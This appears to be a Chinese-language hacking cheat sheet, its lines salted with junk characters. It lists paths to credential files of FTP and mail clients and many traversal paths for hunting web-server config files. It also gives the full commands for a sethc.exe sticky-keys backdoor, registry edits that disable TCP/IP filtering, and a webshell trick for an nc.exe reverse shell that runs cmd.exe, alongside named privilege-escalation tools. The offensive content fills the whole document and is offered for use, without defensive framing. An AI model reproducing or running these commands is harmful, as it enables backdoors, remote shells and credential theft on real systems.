2 Q; w4 T3 i+ \0 }5 P5 F7 Z  uc:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
& \; O0 C; A+ {3 e' Y+ W" uc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
/ R; n) V8 a4 ~, n+ ?' cc:\Program Files\Tencent\RTXServer\AppConfig.xml
: E5 n: |2 C1 z% n# _$ Z& J! ]C:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
7 ]1 \. c6 H$ }! CC:\Program Files\tencent\Foxmal\accounts.cfg
1 ?7 n6 q' l& F# W& tC:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
+ M- h* `0 Q$ Q& _$ wc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
/ }0 M3 q7 l7 U9 J' @c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
$ J" [5 Z. E/ K& p. s: H. n3 ?C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
+ R' \6 ]7 \$ s! b( rc:\Program Files\腾讯游戏\QQGAME\readme.txt
9 ]8 U$ a" o+ Gc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
2 ~9 k5 [! A0 [3 \' M9 d8 Kc:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe

3.网站相对路径:

/config.php
6 ~! m: p) Z" Q9 l../../config.php
../config.php
. S/ Z6 n5 m. ~2 H../../../config.php
/config.inc.php
./config.inc.php
. T7 x7 h6 G# ]# j7 N- E../../config.inc.php
../config.inc.php
( Y8 |3 a7 S1 a& G! m/ a../../../config.inc.php
- F* v* g7 ~; b9 N8 |/conn.php
, {8 J9 ^, _9 i. R( I9 V# c./conn.php
) X( d5 d; S1 h0 k% u+ V7 s0 Y../../conn.php
+ w; I0 _5 U# c: C../conn.php
../../../conn.php
/conn.asp
# N0 Y% `; O  G$ O./conn.asp
+ T3 |6 a3 K; @0 S& u; u../../conn.asp
../conn.asp
* g. ^, \4 O5 c  |& D# F1 v../../../conn.asp
) X7 i. b4 c+ g/config.inc.php
, M/ J& N8 N" `+ f9 o2 @# L" ~/ ~- [./config.inc.php
. p2 n( A  G) m! y- p../../config.inc.php
../config.inc.php
../../../config.inc.php
/config/config.php
../../config/config.php
9 ]4 ?% H" ~" w! b% i/ H, g../config/config.php
../../../config/config.php
/config/config.inc.php
./config/config.inc.php
! i$ F& N, b* r6 }2 j9 x( {, e../../config/config.inc.php
../config/config.inc.php
' ?! G' i+ u8 L8 f  d: B../../../config/config.inc.php
# j' w" R% t$ T* d' A5 z/config/conn.php
! ?2 \# z/ J& C: S./config/conn.php
% j7 D- }" Z) W. k3 U0 B1 l9 {# ?+ }" m../../config/conn.php
7 o% {' I2 T  O/ {( Z+ n% M' X../config/conn.php
../../../config/conn.php
/config/conn.asp
./config/conn.asp
5 \& t' \1 N: J/ [* ^- D9 U../../config/conn.asp
../config/conn.asp
../../../config/conn.asp
/config/config.inc.php
4 F1 b: b# C' _8 Q7 X./config/config.inc.php
' ]& ~5 ~: c, p8 Z. T# n../../config/config.inc.php
+ |8 z' n1 Q% J) F2 K# Z../config/config.inc.php
../../../config/config.inc.php
/data/config.php
+ |: w: [+ `% W$ }5 c../../data/config.php
../data/config.php
/ ]: g, y4 J6 E- ^../../../data/config.php
* U* Q, S9 Q, t3 D6 g/data/config.inc.php
# m/ P, l- X! T7 E./data/config.inc.php
2 t' V' v& N' h( \  Y7 r../../data/config.inc.php
  Q/ l9 I8 R; F2 ?5 p../data/config.inc.php
../../../data/config.inc.php
- e. t: _& S; k2 f8 t/ X/data/conn.php
./data/conn.php
../../data/conn.php
" I% T2 ]. `+ w! X../data/conn.php
../../../data/conn.php
% T, f9 K5 O. T/data/conn.asp
, ]1 s  K! C! t0 c6 P$ b./data/conn.asp
../../data/conn.asp
, M' q1 t' U$ x, b1 S../data/conn.asp
7 }$ q9 h* z3 C../../../data/conn.asp
! }3 j/ Q* F" S" S( J) a/data/config.inc.php
$ }0 Q6 S+ c; s7 Y) Q./data/config.inc.php
! q, z, T5 A2 n! c../../data/config.inc.php
0 S: j' P1 ^4 `" q) Q0 g../data/config.inc.php
../../../data/config.inc.php
; a% C$ b5 T5 I% h6 V/ `) t/include/config.php
../../include/config.php
../include/config.php
0 h% A! N' l. |../../../include/config.php
/include/config.inc.php
./include/config.inc.php
/ @& I  n/ h2 N& z../../include/config.inc.php
& M* p7 p' @, B../include/config.inc.php
../../../include/config.inc.php
; U4 X0 \0 s# `; ~# G/include/conn.php
4 s" x6 N4 I6 h2 Z" D./include/conn.php
: |  G! n$ i) o4 y. X2 E* [4 n../../include/conn.php
../include/conn.php
/ E" S: P% F% W' I../../../include/conn.php
/include/conn.asp
./include/conn.asp
3 I, g2 [$ ]! P../../include/conn.asp
../include/conn.asp
; n7 H- |6 x/ }# z* f../../../include/conn.asp
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
- {7 u  B  V  [$ P3 p../../../include/config.inc.php
/inc/config.php
/ |1 a1 r) e6 D8 T, z. F, q../../inc/config.php
) H, {: ]- k1 y4 Z- G$ d6 P2 Z, [$ K8 I../inc/config.php
../../../inc/config.php
/inc/config.inc.php
/ H  E3 Y/ l  l  D# S6 K) l./inc/config.inc.php
../../inc/config.inc.php
# W4 U: o+ \( z2 \2 ~../inc/config.inc.php
" c1 l; X0 M6 _3 S! y../../../inc/config.inc.php
( Y: K# _8 i6 \' |; [/inc/conn.php
./inc/conn.php
../../inc/conn.php
../inc/conn.php
../../../inc/conn.php
, r- ^# W( \, b) @6 Y. a/inc/conn.asp
  U! n! w3 T3 Y: A4 e! Y% M./inc/conn.asp
# H0 |2 Z5 z  o+ G/ \- |../../inc/conn.asp
../inc/conn.asp
( G9 U& B$ [, r/ i' x../../../inc/conn.asp
: N4 _4 `* x' k: |) D/inc/config.inc.php
6 ]( e8 N5 M+ z4 l5 W./inc/config.inc.php
../../inc/config.inc.php
, {' a9 r% C) r; [8 M3 X* E% M../inc/config.inc.php
../../../inc/config.inc.php
4 Q" ?7 f. Y) P6 }5 O& N: {* x/index.php
./index.php
../../index.php
- r, h* f' p, ^) X../index.php
../../../index.php
/index.asp
./index.asp
../../index.asp
& u5 K; p0 h  w: z$ K../index.asp
../../../index.asp
4 R/ W9 `; g# S+ A" W+ E4 p2 X替换SHIFT后门
  M7 h+ V) v. o- H5 j　attrib c:\windows\system32\sethc.exe -h -r -s

: F3 Y' ]6 L# I7 T9 {　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

　　del c:\windows\system32\sethc.exe
2 W' `/ l  K3 Y% M
　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

5 G* N& T- y) l3 S6 B4 _　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

　　attrib c:\windows\system32\sethc.exe +h +r +s
! h# T) q: [- c! `+ r
  G3 G& V% a0 [. C　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
3 }( _7 u% ]# N( Q2 f去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
, A6 L- Q  v& b) b; Y5 @! @HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
5 ?: }3 y9 G1 F
& {8 A$ H* ]9 b& U7 L分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
4 y1 |- A: z# D! `regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
7 n+ t- Z/ t" H! Y命令来导出注册表项
$ v7 |3 T/ t: o( }/ f/ M$ x
然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
2 o: ?% k3 L/ e
8 q) s2 a2 o  V: n再将以上三个文件分别用
/ g3 y6 D1 c- `! K/ v# z, P  C; a  vregedit -s D:\a.reg
  k4 u: C1 }; W5 @regedit -s D:\b.reg
regedit -s D:\c.reg
- |5 g! b% o3 h9 u/ T导入注册表即可
7 J, H3 p% ?' S0 W) Q$ l
webshell提权小技巧
cmd路径:
9 Y, t" K# N- y- Gc:\windows\temp\cmd.exe
6 t0 O* }+ ], y4 \  \+ Enc也在同目录下
' R5 h! ?. Z7 W9 S! N$ {( g例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
* j) S1 i) }6 T; S/ w通常都不会成功。

而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
' P; M3 ^; M1 M. O+ c却能成功。。
这个不是重点
% o9 e0 Y' k4 u% T我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功